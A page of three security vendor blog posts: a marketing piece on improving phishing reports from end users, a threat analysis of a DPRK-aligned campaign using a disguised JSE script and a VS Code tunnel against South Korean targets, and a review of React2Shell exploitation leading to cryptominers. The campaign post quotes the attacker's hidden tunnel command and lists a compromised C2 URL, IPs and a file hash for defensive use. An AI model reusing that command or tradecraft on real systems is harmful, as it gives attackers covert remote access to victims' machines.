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May 8, 2024

How Empowering End Users can Improve Your Email Security and Decrease the Burden on the SOC

Most email security solutions either assume end-user reporting is of poor quality, so don’t prioritize it, or triage every user-reported email equally without any attempt to improve long-term efficiency. This blog explores how Darktrace aims to improve user reporting from the ground up, reducing the 90% falsely reported phishing and decreasing the load on security teams.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
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08
May 2024

Why do we pay attention to the end user?

Every email security solution filters inbound mail, then typically hands over false positives and false negatives to the security team for manual triage. A crucial problem with this lifecycle is that it ignores the inevitability of end users being at the front line of any organization. Employees may receive point in time security awareness training, but it is rarely engaging or contextualized to their reality. While an employee may report a suspicious-looking email to the security team, they will rarely get to understand the outcome or impact of that decision. This means that the quality of reporting never improves, so the burden on the security team of triaging these emails – of which 90% are falsely reported – persists and grows with the business over time.

At Darktrace, we recognize that employees will always be on the front line of email security. That’s why we aim to improve end-user reporting from the ground up, reducing the overall number of emails needing triage and saving security team resource.

How does Darktrace improve the quality of end-user reporting?

Darktrace prioritizes improving users’ security awareness to increase the quality of end-user reporting from day one. We train users and optimize their experience, which in turn provides better detection. 

That starts with training and security awareness. Traditionally, organizations oblige employees to attend point-in-time training sessions which interrupt their daily work schedules. With Darktrace/Email, if a message contains some potentially suspicious markers but is most likely safe, Darktrace takes a specific action to neutralize the risky components and presents it to the user with a simple narrative explaining why certain elements have been held back. The user can then decide whether to report this email to the security team. 

AI shares its analysis in context and in real time at the moment a user is questioning an email
Figure 1: AI shares its analysis in context and in real time at the moment a user is questioning an email

The AI narrative gives the user context for why their specific email may carry risk, putting their security awareness training into practice. This creates an element of trust with the security solution, rather than viewing it as outside of daily workflows. Users may also receive a daily or weekly digest of their held emails and make a decision on whether to release or report them.  

Whatever the user’s existing workflow is for reporting emails, Darktrace/Email can integrate with it and improve its quality. Our add-in for Outlook gives users a fully optimized experience, allowing them to engage with the narratives for each email, as well as non-productive mail management. However, if teams want to integrate Darktrace into an existing workflow, it can analyze emails reported to an internal SOC mailbox, the native email provider’s 'Report Phish’ button, or the ‘Knowbe4’ button.

By empowering the user with contextual feedback on each unique email, we foster employee engagement and elevate both reporting quality and security awareness. In fact, 60% fewer benign emails are reported because of the extra context supplied by Darktrace to end users. The eventual report is then fed back to the detection algorithm, improving future decision-making.  

Reducing the amount of emails that reach the SOC

Out of the higher-quality emails that do end up being reported by users, the next step is to reduce the amount of emails that reach the SOC.   

Once a user reports an email, Darktrace will independently determine if the mail should be automatically remediated based on second level triage. Darktrace/Email’s Mailbox Security Assistant automates secondary triage by combining additional behavioral signals and the most advanced link analysis engine we have ever built. It detects 70% more sophisticated malicious phishing links by looking at an additional twenty times more context than at the primary analysis stage, revealing the hidden intent within interactive and dynamic webpages. This directly alleviates the burden of manual triage for security analysts.

Following this secondary triage the emails that are deemed worthy of security team attention are then passed over, resulting in a lower quantity and higher quality of emails for SOC manual triage.

Centralizing and speeding analysis for investigations

For those emails that are received by the SOC, Darktrace also helps to improve triage time for manual remediation.  

AI-generated narratives and automated remediation actions empower teams to fast-track manual triage and remediation, while still providing security analysts with the necessary depth. With live inbox view, security teams gain access to a centralized platform that combines intuitive search capabilities, Cyber AI Analyst reports, and mobile application access. With all security workflows consolidated within a unified interface, users can analyze and take remediation actions without the need to navigate multiple tools, such as e-discovery platforms – eliminating console hopping and accelerating incident response.

Our customers tell us that our AI allows them to go in-depth quickly for investigations, versus other solutions that only provide a high-level view.

Cyber AI Analyst provides a simple language narrative for each reported email, allowing teams to quickly understand why it may be suspicious
Figure 2: Cyber AI Analyst provides a simple language narrative for each reported email, allowing teams to quickly understand why it may be suspicious

Conclusion

Unlike our competitors, we believe that improving the quality of users’ experience is not only a nice-to-have, but a fundamental means for improving security. Any modern solution should consider end users as a key source of information as well as an opportunity for defense. Darktrace does both – optimizing the user experience as well as our AI learning from the user to augment detection.  

The benefits of empowering users are ultimately felt by the security team, who benefit from improved detection, a reduction in manual triage of benign emails, and faster investigation workflows.

Augmented end user reporting is just one of a range of features new to Darktrace/Email. Check out the latest Innovations to Darktrace/Email in our recent blog.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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